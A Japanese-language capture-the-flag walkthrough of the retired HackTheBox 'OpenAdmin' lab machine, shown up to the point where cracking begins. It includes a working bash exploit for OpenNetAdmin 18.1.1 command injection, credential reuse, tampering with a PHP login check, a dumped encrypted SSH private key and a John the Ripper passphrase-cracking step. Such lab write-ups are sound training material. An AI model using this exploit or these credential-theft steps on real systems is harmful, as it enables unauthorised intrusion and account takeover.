HTB OpenAdmin Walkthrough

振り返り的な用途で、攻撃プロセスを書き出す。
※ HackTheBoxのOpenAdminマシンに対するネタバレになるので、挑戦予定の方は🙅‍♂️
※ RetiredになったマシンのみWalkthroughの公開は可能です。

概要

https://www.hackthebox.eu/home/machines/profile/222

10.10.10.171

f:id:kyonta1022:20200514220101p:plain f:id:kyonta1022:20200514220141p:plain

Machineの概要を見てみると、Enumeration/CVE/CTF-Like が必要とされている。
どれだけ網羅的にスキャンできて、稼働しているサービスの脆弱性を発見できるかと、CTFライクな競技スキルが問われる。

偵察

Nmap Scan

一番最初にやるべきは、対象ホストにてどのようなサービスが稼働しているかの確認。

# nmap -A 10.10.10.171
Starting Nmap 7.70 ( https://nmap.org ) at 2020-02-27 02:29 JST
Nmap scan report for 10.10.10.171
Host is up (0.18s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=2/27%OT=22%CT=1%CU=30443%PV=Y%DS=2%DC=T%G=Y%TM=5E56AB4
OS:8%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10D%TI=Z%CI=Z%TS=C)SEQ(SP=1
OS:05%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O
OS:3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=
OS:7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3389/tcp)
HOP RTT       ADDRESS
1   246.65 ms 10.10.14.1
2   246.79 ms 10.10.10.171

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.67 seconds

脆弱性情報検索

GoogleApache 2.4.29 exploit で検索をかけて、リモートコード実行の脆弱性があるか調べる。一通り目を通したが、それらしき脆弱性は見当たらないので、CVE Detailsにて 2.4.29脆弱性一覧を眺めてみる。

一覧に CVSS7.2 の ExecCode が存在しているので、CVE番号で実行可能条件などの詳細情報を調べてみる。

この脆弱性Apache HTTP Server が再起動を行う際に、子プロセスの境界値チェックが行われていないことにより発生します。これにより、システム上で権限昇格を行うことが可能となります。 攻撃者がこの脆弱性を利用するためには、システムへの有効なログオン情報が必要になります。
https://www.softbanktech.co.jp/special/cve/2019/0001/
https://github.com/cfreal/exploits/blob/master/CVE-2019-0211-apache/cfreal-carpediem.php

今回は使えなそう。

OpenSSH 7.6p1 はどうだろうか。
- CVE Details Openssh-7.6

こちらもダメそう。

公開ページの調査

http://10.10.10.171/ f:id:kyonta1022:20200514220443p:plain

公開ページのTOPを見てみるが、デフォルトページが出ているだけで何もなさそう。
他にあるだろ?と言うことで、DirBusterを使って公開ページやディレクトリを調べてみる。

f:id:kyonta1022:20200514220505p:plain

すると、気になるページがちらほら出てきたので、アクセスしてみる。

f:id:kyonta1022:20200514220522p:plain

f:id:kyonta1022:20200514220536p:plain

OpenNetAdminとは、IPネットワークのインベントリを管理するデータベースを提供してくれるソフトウェア。
http://opennetadmin.com/

で、このOpenNetAdminを調べてみると v18.1.1 には Command Injection Exploit脆弱性があるらしい。

侵入

OpenNetAdmin-18.1.1 Exploit

packetstormから攻撃用コードをダウンロードする。

# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux

# Exploit Title: OpenNetAdmin v18.1.1 RCE
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux

#!/bin/bash

URL="${1}"
while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

エクスプロイト実行

# sh open-admin-exploit.sh

ボッティング

www-data

すんなり侵入することができたので、まずは自分が何者で、今居る場所やホームディレクトリについての情報を収集する。

$ pwd
/opt/ona/www


$ ls -al
total 72
drwxrwxr-x 10 www-data www-data 4096 Nov 22 17:17 .
drwxr-x---  7 www-data www-data 4096 Nov 21 18:23 ..
-rw-rw-r--  1 www-data www-data 1970 Jan  3  2018 .htaccess.example
drwxrwxr-x  2 www-data www-data 4096 Jan  3  2018 config
-rw-rw-r--  1 www-data www-data 1949 Jan  3  2018 config_dnld.php
-rw-rw-r--  1 www-data www-data 4160 Jan  3  2018 dcm.php
drwxrwxr-x  3 www-data www-data 4096 Jan  3  2018 images
drwxrwxr-x  9 www-data www-data 4096 Jan  3  2018 include
-rw-rw-r--  1 www-data www-data 1999 Jan  3  2018 index.php
drwxrwxr-x  5 www-data www-data 4096 Jan  3  2018 local
-rw-rw-r--  1 www-data www-data 4526 Jan  3  2018 login.php
-rw-rw-r--  1 www-data www-data 1106 Jan  3  2018 logout.php
drwxrwxr-x  3 www-data www-data 4096 Jan  3  2018 modules
drwxrwxr-x  3 www-data www-data 4096 Jan  3  2018 plugins
drwxrwxr-x  2 www-data www-data 4096 Jan  3  2018 winc
drwxrwxr-x  3 www-data www-data 4096 Jan  3  2018 workspace_plugins

ユーザ情報を確認する

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

passwdファイル確認

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
joanna:x:1001:1001:,,,:/home/joanna:/bin/bash

groupファイル確認

$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:syslog
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:
audio:x:29:
dip:x:30:
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:
sasl:x:45:
plugdev:x:46:
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
systemd-journal:x:101:
systemd-network:x:102:
systemd-resolve:x:103:
input:x:104:
crontab:x:105:
syslog:x:106:
messagebus:x:107:
lxd:x:108:
mlocate:x:109:
uuidd:x:110:
ssh:x:111:
landscape:x:112:
jimmy:x:1000:
ssl-cert:x:113:
mysql:x:114:
joanna:x:1001:
internal:x:1002:jimmy,joanna
netdev:x:115:

ホームディレクトリを確認する

$ ls -al /var/www
total 16
drwxr-xr-x  4 root     root     4096 Nov 22 18:15 .
drwxr-xr-x 14 root     root     4096 Nov 21 14:08 ..
drwxr-xr-x  6 www-data www-data 4096 Nov 22 15:59 html
drwxrwx---  2 jimmy    internal 4096 Nov 23 17:43 internal
lrwxrwxrwx  1 www-data www-data   12 Nov 21 16:07 ona -> /opt/ona/www

雰囲気でふむふむしつつ、www-dataはWEB公開用のユーザだから権限が弱く、できることが少なそうなので強権限のユーザを探す。 (たまに、rootユーザでhttpdを起動する事例を見かけるが、こう言う攻撃をしてみると改めて恐ろしいなと思う・・) ここからは、閲覧権限のあるディレクトリを地道に調査していく。中々泥臭く骨の折れる作業。 慣れないときは、ここで挫折することが多々あった。

ホームディレクトリ配下の html ディレクトリを探索。特に情報なし。

$ find /var/www/html   

最初に降り立ったディレクトリを探索してみる。

$ find .
./local/config/database_settings.inc.php
...

何やら心躍る名前のファイルを発見したので、中身を見てみる。

$ cat ./local/config/database_settings.inc.php
<?php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

データベースの接続先情報が丸見えになっている。DBはMySQLなので、クライアントからアクセスしてみる。

$ MYSQL_PWD=n1nj4W4rri0R! mysql -h localhost -u ona_sys ona_default -e "select TABLE_NAME from INFORMATION_SCHEMA.TABLES;"
TABLE_NAME
CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
blocks
configuration_types
configurations
custom_attribute_types
custom_attributes
dcm_module_list
device_types
devices
dhcp_failover_groups
dhcp_option_entries
dhcp_options
dhcp_pools
dhcp_server_subnets
dns
dns_server_domains
dns_views
domains
group_assignments
groups
host_roles
hosts
interface_clusters
interfaces
locations
manufacturers
messages
models
ona_logs
permission_assignments
permissions
roles
sequences
sessions
subnet_types
subnets
sys_config
tags
users
vlan_campuses
vlans

テーブル一覧の中で users テーブルの存在が気になるのでSELECTする。

$ MYSQL_PWD=n1nj4W4rri0R! mysql -h localhost -u ona_sys ona_default -e "select * from users"$ $ 
id  username    password    level   ctime   atime
1   guest   098f6bcd4621d373cade4e832627b4f6    0   2020-02-28 05:19:51 2020-02-28 05:19:51
2   admin   21232f297a57a5a743894a0e4a801fc3    0   2007-10-30 03:00:17 2007-12-02 22:10:26

パスワードはハッシュ化されているので、すぐに利用できる情報ではなさそうだ。一旦諦める。 (平文のまま保管してセキュリティ事故に繋がる事例もあるが、ここは違うらしい)

そいえばホームディレクトリに internal とかいうディレクトリがあったのを思い出した。
後述するが、このディレクトリ内には如何にもCTFチックな、あるユーザの秘密鍵が見れるようなPHPファイルが存在している。
jimmy権限のディレクトリだが、データベースの接続先以上の情報が見つけられなかったので、ダメもとでパスワードを流用してみる。

root@kali-linux:~/sandbox# ssh jimmy@10.10.10.171
jimmy@10.10.10.171's password: n1nj4W4rri0R!
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Feb 28 05:24:50 UTC 2020

  System load:  0.1               Processes:             125
  Usage of /:   50.5% of 7.81GB   Users logged in:       1
  Memory usage: 30%               IP address for ens160: 10.10.10.171
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

41 packages can be updated.
12 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Jan  2 20:50:03 2020 from 10.10.14.3
jimmy@openadmin:~$ 

奇跡的にログインできた。 (パスワードの流用は危険ですね)

jimmy

jimmyの情報を確認する

jimmy@openadmin:~$ id
uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal)

何かroot権限で実行できるかと思ったが何もできなそう。

jimmy@openadmin:~$ sudo -l
[sudo] password for jimmy: 

internalディレクトリに移動する。

jimmy@openadmin:/$ cd /var/www/internal/
jimmy@openadmin:/var/www/internal$ ls -al
total 20
drwxrwx--- 2 jimmy internal 4096 Nov 23 17:43 .
drwxr-xr-x 4 root  root     4096 Nov 22 18:15 ..
-rwxrwxr-x 1 jimmy internal 3229 Nov 22 23:24 index.php
-rwxrwxr-x 1 jimmy internal  185 Nov 23 16:37 logout.php
-rwxrwxr-x 1 jimmy internal  339 Nov 23 17:40 main.php

PHPファイルを開く。

$ cat main.php 
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
$ cat index.php 
<?php
   ob_start();
   session_start();
?>

<?
   // error_reporting(E_ALL);
   // ini_set("display_errors", 1);
?>

<html lang = "en">

   <head>
      <title>Tutorialspoint.com</title>
      <link href = "css/bootstrap.min.css" rel = "stylesheet">

      <style>
         body {
            padding-top: 40px;
            padding-bottom: 40px;
            background-color: #ADABAB;
         }

         .form-signin {
            max-width: 330px;
            padding: 15px;
            margin: 0 auto;
            color: #017572;
         }

         .form-signin .form-signin-heading,
         .form-signin .checkbox {
            margin-bottom: 10px;
         }

         .form-signin .checkbox {
            font-weight: normal;
         }

         .form-signin .form-control {
            position: relative;
            height: auto;
            -webkit-box-sizing: border-box;
            -moz-box-sizing: border-box;
            box-sizing: border-box;
            padding: 10px;
            font-size: 16px;
         }

         .form-signin .form-control:focus {
            z-index: 2;
         }

         .form-signin input[type="email"] {
            margin-bottom: -1px;
            border-bottom-right-radius: 0;
            border-bottom-left-radius: 0;
            border-color:#017572;
         }

         .form-signin input[type="password"] {
            margin-bottom: 10px;
            border-top-left-radius: 0;
            border-top-right-radius: 0;
            border-color:#017572;
         }

         h2{
            text-align: center;
            color: #017572;
         }
      </style>

   </head>
   <body>

      <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
          <?php
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
              }
            }
         ?>
      </div> <!-- /container -->

      <div class = "container">

         <form class = "form-signin" role = "form"
            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
            ?>" method = "post">
            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
            <input type = "text" class = "form-control"
               name = "username"
               required autofocus></br>
            <input type = "password" class = "form-control"
               name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit"
               name = "login">Login</button>
         </form>

      </div>

   </body>
</html>

これらのPHPファイルが意味することは、index.php にて正しいユーザ名とパスワードを入力すると、セッションに情報を保持するのでその足で main.php を見にいくと joanna秘密鍵が手に入りますよと言うことらしい。実にCTFチック。

ポートスキャンをかけたときは80番ポート意外空いてなかったけど、ファイアウォールでブロックしているのだろうか。
名前も internal だし。確認するためにApache2の設定を確認する。

jimmy@openadmin:/var/www/internal$ cd /etc/apache2/
jimmy@openadmin:/etc/apache2$ ls -al
total 88
drwxr-xr-x  8 root root  4096 Nov 21 14:08 .
drwxr-xr-x 93 root root  4096 Jan  2 13:46 ..
-rw-r--r--  1 root root  7224 Sep 16 12:58 apache2.conf
drwxr-xr-x  2 root root  4096 Nov 21 14:08 conf-available
drwxr-xr-x  2 root root  4096 Nov 21 14:08 conf-enabled
-rw-r--r--  1 root root  1782 Jul 16  2019 envvars
-rw-r--r--  1 root root 31063 Jul 16  2019 magic
drwxr-xr-x  2 root root 12288 Nov 22 22:32 mods-available
drwxr-xr-x  2 root root  4096 Nov 22 22:32 mods-enabled
-rw-r--r--  1 root root   320 Jul 16  2019 ports.conf
drwxr-xr-x  2 root root  4096 Nov 23 17:13 sites-available
drwxr-xr-x  2 root root  4096 Nov 22 18:35 sites-enabled

VirtualHostの設定を確認する。

jimmy@openadmin:/etc/apache2$ cd sites-available/
jimmy@openadmin:/etc/apache2/sites-available$ ls
default-ssl.conf  internal.conf  openadmin.conf
jimmy@openadmin:/etc/apache2/sites-available$ cat internal.conf 
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

127.0.0.1:52846のアクセスは internalに飛ばすようだ。

jimmy@openadmin:/etc/apache2/sites-available$ cat openadmin.conf 
<VirtualHost *:80>
    # The ServerName directive sets the request scheme, hostname and port that
    # the server uses to identify itself. This is used when creating
    # redirection URLs. In the context of virtual hosts, the ServerName
    # specifies what hostname must appear in the request's Host: header to
    # match this virtual host. For the default virtual host (this file) this
    # value is not decisive as it is used as a last resort host regardless.
    # However, you must set it for any further virtual host explicitly.
    ServerName openadmin.htb

    ServerAdmin jimmy@openadmin.htb
    DocumentRoot /var/www/html

    # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
    # error, crit, alert, emerg.
    # It is also possible to configure the loglevel for particular
    # modules, e.g.
    #LogLevel info ssl:warn

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

    # For most configuration files from conf-available/, which are
    # enabled or disabled at a global level, it is possible to
    # include a line for only one particular virtual host. For example the
    # following line enables the CGI configuration for this host only
    # after it has been globally disabled with "a2disconf".
    #Include conf-available/serve-cgi-bin.conf
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

80番ポートの方は、普通に html ディレクトリに飛ばす。

自ホストからアクセスできることをcurlで確認。

$ curl http://127.0.0.1:52846/index.php 

問題なさそうなので、必要な情報を設定してPOSTする。

jimmy@openadmin:~$ curl -i -X POST -d "login=1&username=jimmy&password=n1nj4W4rri0R!" http://127.0.0.1:52846/index.php 

HTTP/1.1 200 OK
Date: Fri, 28 Feb 2020 07:43:18 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=tlg1egl4mepng6dgal76pnveog; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 2546
Content-Type: text/html; charset=UTF-8


<?
   // error_reporting(E_ALL);
   // ini_set("display_errors", 1);
?>

<html lang = "en">

   <head>
      <title>Tutorialspoint.com</title>
      <link href = "css/bootstrap.min.css" rel = "stylesheet">

      <style>
         body {
            padding-top: 40px;
            padding-bottom: 40px;
            background-color: #ADABAB;
         }

         .form-signin {
            max-width: 330px;
            padding: 15px;
            margin: 0 auto;
            color: #017572;
         }

         .form-signin .form-signin-heading,
         .form-signin .checkbox {
            margin-bottom: 10px;
         }

         .form-signin .checkbox {
            font-weight: normal;
         }

         .form-signin .form-control {
            position: relative;
            height: auto;
            -webkit-box-sizing: border-box;
            -moz-box-sizing: border-box;
            box-sizing: border-box;
            padding: 10px;
            font-size: 16px;
         }

         .form-signin .form-control:focus {
            z-index: 2;
         }

         .form-signin input[type="email"] {
            margin-bottom: -1px;
            border-bottom-right-radius: 0;
            border-bottom-left-radius: 0;
            border-color:#017572;
         }

         .form-signin input[type="password"] {
            margin-bottom: 10px;
            border-top-left-radius: 0;
            border-top-right-radius: 0;
            border-color:#017572;
         }

         h2{
            text-align: center;
            color: #017572;
         }
      </style>

   </head>
   <body>

      <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
                </div> <!-- /container -->

      <div class = "container">

         <form class = "form-signin" role = "form"
            action = "/index.php" method = "post">
            <h4 class = "form-signin-heading">Wrong username or password.</h4>
            <input type = "text" class = "form-control"
               name = "username"
               required autofocus></br>
            <input type = "password" class = "form-control"
               name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit"
               name = "login">Login</button>
         </form>

      </div>

   </body>
</html>

Wrong username or password. で失敗する。パスワードが違うのだろうか。
何回か試してみたけどダメだったが、冷静に考えてみると権限的にPHPファイルを編集できるので、以下のように書き換えてしまう。

if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == 
---
if ($_POST['username'] == 'jimmy' || hash('sha512',$_POST['password']) == 

もう一度投げる

jimmy@openadmin:/var/www/internal$ curl -i -X POST -d "login=1&username=jimmy&password=n1nj4W4rri0R!" http://127.0.0.1:52846/index.php 
HTTP/1.1 302 Found
Date: Fri, 28 Feb 2020 07:45:17 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=ggoqfum2pn6riaj0c7s0a3lu1d; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /main.php
Content-Length: 2519
Content-Type: text/html; charset=UTF-8

Location: /main.phpがセットされている。成功した模様。
本丸のmain.phpにGETリクエストを投げる。

jimmy@openadmin:/var/www/internal$ curl http://127.0.0.1:52846/main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

無事秘密鍵が取得できたので、<pre>の中身をファイルに保存してsshしてみる。

joanna

# ssh -i joanna.id_rsa joanna@10.10.10.171
Enter passphrase for key 'joanna.id_rsa': 

パスフレーズが必要でした。
SecListsrockyou.txtを使ってJohn the Ripperで解析する。
John秘密鍵パスフレーズを解析させる場合は、ssh2johnでハッシュ化しとく必要があるので、ダウンロードしとく。

# python ssh2john.py joanna.id_rsa > joanna.id_rsa.hash
# john --wordlist=./SecLists/Passwords/Leaked-Databases/rockyou.txt joanna.id_rsa.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
